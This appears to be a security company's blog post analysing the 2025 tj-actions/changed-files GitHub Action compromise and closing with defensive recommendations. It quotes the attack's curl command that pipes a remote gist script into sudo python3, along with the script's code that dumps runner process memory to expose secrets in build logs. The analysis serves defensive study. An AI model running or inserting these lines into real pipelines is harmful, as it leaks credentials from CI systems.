Compromise of tj-actions: A Wake-Up Call for CI/CD Security
- Wouter van der Houven
- Mar 17
- 4 min read
Modern software development has, for all its benefits, become reliant on CI/CD pipelines. The pipelines automate everything from builds to deployments. But as logic dictates, they have also become a prime target for attackers.
On March 14, 2025, security researchers at StepSecurity discovered a compromise in the tj-actions/changed-files GitHub Action. Attackers inserted a malicious memory dump script, exposing sensitive CI/CD secrets in build logs. Most notably, this repository was previously vulnerable to a similar attack in CVE-2023-49291 as reported by Adnan Khan. The incident also somewhat reminds of last year’s GitHub Actions Worm presented at DefCon by Asi Greenholts, but most of all emphasizes the growing importance of pipeline security.
How Does The Attack Work?
Third-party GitHub Actions are templates for automation used in modern development workflows. Teams rely on them to simplify tasks like checking code changes, running tests, and deploying applications.
In the tj-actions/changed-files incident, an action used by over 23,000 repositories was quietly compromised. Attackers didn't introduce a new, suspicious action. Instead, they modified an existing one, updating past versions to include malicious code that exposed CI/CD secrets.
This is particularly devious as teams often lock their workflows to a specific version, assuming that version will remain safe. But in this case, attackers retroactively altered multiple versions, meaning even those who thought they were using a stable, known-good release were unknowingly running a compromised version.
The exploit follows a simple process:

This means that any repository using the compromised action, especially public repositories, risked exposing its secrets to anyone with access to the logs.
Abusing Unsigned Commits
Before any malicious code was executed, the attackers first modified the repository’s versioning to point existing versions of tj-actions/changed-files to their compromised commit.
Instead of releasing a new version and possibly drawing attention, they retroactively updated multiple existing tags. This meant that workflows pinned to a specific version of the action were unknowingly executing new, untrusted code.
To do this the attackers used an unsigned commit, impersonating Renovate bot, a well-known dependency update tool. In this commit, they updated multiple existing tags (e.g., v1.0.0, v1.0.1, etc.) to all reference the same malicious code commit.
Many teams automatically accept updates from Renovate, Dependabot, or similar tools, assuming they are safe. However, if unsigned commits are merged without verification, an attacker can push changes directly to production workflows. It also does not help that unsigned commits are currently shown using a known avatar, adding to the perceived credibility of the commit.

Once the attacker re-tagged existing versions, any repository using tj-actions/changed-files was affected, without changing a single line in their workflow configuration.
The snipped below shows the tagged versions are pushed to the malicious hash:
$ git show 0e58ed8671d6b60d0890c21b07f8835ace038e67
commit 0e58ed8671d6b60d0890c21b07f8835ace038e67 (tag: v9.3, ...<all versions>..., tag: v1.0.0, tag: v1)
Author: renovate[bot]@users.noreply.github.com <renovate[bot]@users.noreply.github.com>
Date: Fri Mar 14 16:57:45 2025 +0000
chore(deps): lock file maintenance (#2460)
diff --git a/dist/index.js b/dist/index.js
index 8d73cf8..18c6cfe 100644
Binary files a/dist/index.js and b/dist/index.js differ
Since GitHub does not alert users when an existing tag is updated, this kind of attack can go unnoticed.
Downloading and Running the Exploit
The malicious script, hidden in a remote GitHub Gist, was loaded into affected workflows through a simple curl command:
curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3
This script executed a memory dump by identifying the Runner Worker PID:
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
Once the PID is found, the script dumps the readable memory segments:
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
Instead of sending secrets over the network, the attack prints secrets directly into GitHub Actions logs. If the repository is public, these secrets become publicly accessible and can be extracted by reading them from the Actions log files.
Securing Your CI/CD Pipeline Moving Forward
The tj-actions/changed-files compromise underscores critical risks in how we trust, verify, and use third-party tools in our CI/CD pipelines. It wasn't a complex vulnerability that made this possible, but rather gaps in everyday practices: accepting unsigned commits, trusting automated dependency updates without proper review, and allowing attackers to retroactively modify previously trusted code tags.
This incident isn't unique, last year's GitHub Actions Worm demonstrated a similar risk, highlighting how easily insecure dependencies can turn into widespread exploits. Moreover, this exploit is an implementation of a risk that has been flagged before. To better understand and address these risks systematically, we highly recommend looking at the OWASP Top 10 CI/CD Security Risks.
Practical recommendations
Pin dependencies to specific commit SHAs instead of mutable tags.
Always require signed commits.
Manually review PRs, even those from trusted automation tools such as Renovate or Dependabot.
Automatically audit source code and logs for leaked secrets and keep detection patterns up-to-date with used technologies and password schemes.
Regularly audit and verify your GitHub Actions workflows, tags, and dependencies.
Rotate any secrets potentially exposed in logs.
Implement runtime security monitoring tools to proactively detect anomalous activities.
Shifting Left: Security by Design
Security incidents like this one are an important reminder that effective protection comes from embedding security throughout the development process.
Our Security by Design training equips developers to proactively identify and mitigate risks before they reach production. With practical, hands-on methods, we guide teams to efficiently and confidently integrate security checks at every stage, just-in-time, just enough, and exactly where they matter.